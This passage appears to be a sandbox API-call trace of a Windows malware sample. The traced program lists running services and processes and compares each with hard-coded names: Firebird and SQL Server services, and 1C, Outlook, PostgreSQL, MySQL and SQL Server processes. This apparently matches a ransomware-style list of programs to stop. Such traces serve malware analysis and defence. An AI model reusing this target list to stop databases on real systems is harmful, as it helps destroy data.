[0184.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0184.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0184.879] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0184.879] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0184.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0184.879] lstrlenW (lpString="NlaSvc") returned 6 [0184.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0184.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0184.879] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0184.879] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0184.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0184.879] lstrlenW (lpString="nsi") returned 3 [0184.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0184.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0184.879] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0184.879] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0184.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0184.879] lstrlenW (lpString="PcaSvc") returned 6 [0184.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0184.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0184.879] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0184.879] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0184.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0184.879] lstrlenW (lpString="PlugPlay") returned 8 [0184.879] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0184.879] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0184.879] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0184.879] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0184.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0184.880] lstrlenW (lpString="Power") returned 5 [0184.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0184.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0184.880] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0184.880] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0184.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0184.880] lstrlenW (lpString="ProfSvc") returned 7 [0184.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0184.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0184.880] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0184.880] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0184.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0184.880] lstrlenW (lpString="RpcEptMapper") returned 12 [0184.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0184.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0184.880] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0184.880] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0184.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0184.880] lstrlenW (lpString="RpcSs") returned 5 [0184.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0184.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0184.880] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0184.880] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0184.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0184.880] lstrlenW (lpString="SamSs") returned 5 [0184.880] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0184.880] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0184.880] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0184.880] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0184.880] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0184.880] lstrlenW (lpString="Schedule") returned 8 [0184.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0184.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0184.881] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0184.881] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0184.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0184.881] lstrlenW (lpString="SENS") returned 4 [0184.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0184.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0184.881] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0184.881] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0184.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0184.881] lstrlenW (lpString="ShellHWDetection") returned 16 [0184.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0184.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0184.881] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0184.881] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0184.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0184.881] lstrlenW (lpString="Spooler") returned 7 [0184.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0184.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0184.881] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0184.881] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0184.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0184.881] lstrlenW (lpString="SysMain") returned 7 [0184.881] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0184.881] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0184.881] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0184.881] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0184.881] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0184.881] lstrlenW (lpString="Themes") returned 6 [0184.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0184.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0184.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0184.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0184.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0184.882] lstrlenW (lpString="TrkWks") returned 6 [0184.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0184.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0184.882] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0184.882] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0184.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0184.882] lstrlenW (lpString="UxSms") returned 5 [0184.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0184.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0184.882] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0184.882] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0184.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0184.882] lstrlenW (lpString="WdiServiceHost") returned 14 [0184.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0184.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0184.882] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0184.882] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0184.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0184.882] lstrlenW (lpString="WdiSystemHost") returned 13 [0184.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0184.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0184.882] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0184.882] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0184.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0184.882] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0184.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0184.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0184.883] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0184.883] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0184.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0184.883] lstrlenW (lpString="Winmgmt") returned 7 [0184.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0184.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0184.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0184.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0184.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0184.883] lstrlenW (lpString="WPDBusEnum") returned 10 [0184.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0184.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0184.883] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0184.883] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0184.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0184.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0184.883] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e8 [0184.885] Process32FirstW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.885] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0184.885] lstrlenW (lpString="System") returned 6 [0184.885] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0184.885] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0184.885] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0184.885] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0184.885] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0184.885] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0184.885] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0184.885] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0184.886] lstrlenW (lpString="smss.exe") returned 8 [0184.886] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0184.886] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0184.886] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0184.886] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0184.886] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0184.886] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0184.886] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0184.886] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0184.886] lstrlenW (lpString="csrss.exe") returned 9 [0184.886] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0184.886] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0184.886] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0184.886] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0184.886] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0184.886] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0184.886] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0184.886] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0184.887] lstrlenW (lpString="wininit.exe") returned 11 [0184.887] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0184.887] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0184.887] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0184.887] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0184.887] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0184.887] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0184.887] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0184.887] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0184.887] lstrlenW (lpString="csrss.exe") returned 9 [0184.887] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0184.887] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0184.887] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0184.887] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0184.887] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0184.887] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0184.888] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0184.888] lstrlenW (lpString="winlogon.exe") returned 12 [0184.888] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0184.888] lstrlenW (lpString="services.exe") returned 12 [0184.888] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0184.888] lstrlenW (lpString="lsass.exe") returned 9 [0184.889] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0184.889] lstrlenW (lpString="lsm.exe") returned 7 [0184.889] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.889] lstrlenW (lpString="svchost.exe") returned 11 [0184.889] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.889] lstrlenW (lpString="svchost.exe") returned 11 [0184.889] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.890] lstrlenW (lpString="svchost.exe") returned 11 [0184.890] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.890] lstrlenW (lpString="svchost.exe") returned 11 [0184.890] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.891] lstrlenW (lpString="svchost.exe") returned 11 [0184.891] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0184.891] lstrlenW (lpString="audiodg.exe") returned 11 [0184.891] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.891] lstrlenW (lpString="svchost.exe") returned 11 [0184.891] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0184.891] lstrlenW (lpString="explorer.exe") returned 12 [0184.892] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0184.892] lstrlenW (lpString="dwm.exe") returned 7 [0184.892] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.892] lstrlenW (lpString="svchost.exe") returned 11 [0184.892] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0184.892] lstrlenW (lpString="n.exe") returned 5 [0184.893] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0184.893] lstrlenW (lpString="spoolsv.exe") returned 11 [0184.893] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.893] lstrlenW (lpString="svchost.exe") returned 11 [0184.893] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0184.894] lstrlenW (lpString="taskhost.exe") returned 12 [0184.894] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0184.894] lstrlenW (lpString="reader_sl.exe") returned 13 [0184.894] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0184.894] lstrlenW (lpString="n.exe") returned 5 [0184.894] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0184.895] lstrlenW (lpString="cmd.exe") returned 7 [0184.895] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0184.895] lstrlenW (lpString="conhost.exe") returned 11 [0184.895] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0184.895] lstrlenW (lpString="mode.com") returned 8 [0184.895] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0184.896] CloseHandle (hObject=0x1e8) returned 1 [0184.896] Sleep (dwMilliseconds=0x1f4) [0185.726] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633bc0 [0185.726] EnumServicesStatusExW (in: hSCManager=0x633bc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0185.726] GetLastError () returned 0xea [0185.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11e4) returned 0x6b5c80 [0185.726] EnumServicesStatusExW (in: hSCManager=0x633bc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x11e4, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0185.727] CloseServiceHandle (hSCObject=0x633bc0) returned 1 [0185.727] lstrlenW (lpString="Appinfo") returned 7 [0185.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0185.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0185.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0185.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0185.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0185.727] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0185.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0185.727] lstrcmpiW 